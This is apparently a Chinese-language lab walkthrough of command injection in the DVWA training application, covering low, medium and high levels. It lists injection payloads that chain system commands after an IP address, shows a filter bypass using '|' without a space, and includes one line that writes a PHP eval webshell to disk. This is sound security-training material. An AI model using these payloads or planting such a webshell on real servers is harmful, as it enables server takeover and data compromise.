命令注入简介
命令注入(Command Injection, 又叫操作系统命令注入为shell注入):指在开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对输入参数进行严格过滤时,则有可能发生命令注入。
原因:
程序对输入与输出的控制不够严格,导致精心构造的命令输入在后台执行后产生危害。
危害:
攻击者可使用命令注入来执行系统终端命令,直接接管服务器的控制权限。
允许攻击者在运行应用程序的服务器上执行任意操作系统命令,并且会完全破坏应用程序及其所有数据。
乱码的解决
在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可
low
192.168.7.28 && ipconfig
192.168.7.28 && dir
192.168.7.28 && systeminfo
能否上传木马
127.0.0.1 & echo “<?php @eval($_POST[cmd])?>” > webshell.php
medium
输入&&攻击命令,发现提示参数错误,表明有过滤,但是只针对了”&&”和”;”进行了过滤。
输入”IP & dir”时,同样可以攻击,表明没有对”&”过滤,”&&”和”&”是有区别的,”&&”是短路运算符,只有前一步执行成功才会执行后一步,而”&”则两个表达式都会执行。
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
Command 1 || Command 2
先执行Command 1,再执行Command 2;若Command 1成功,不执行Command 2;
Command 1| Command 2
先执行Command 1,再执行Command 2;不管Command 1是否成功,都会执行Command 2。
192.168.7.28 & ipconfig
192.168.7.28 | ipconfig
192.168.7.28 | route print
high
敏感的字符都被过滤了,但是 | 明显后面有个空格,所以如果不使用空格的话依然可以绕过
127.0.0.1 |ipconfig
127.0.0.1 |route print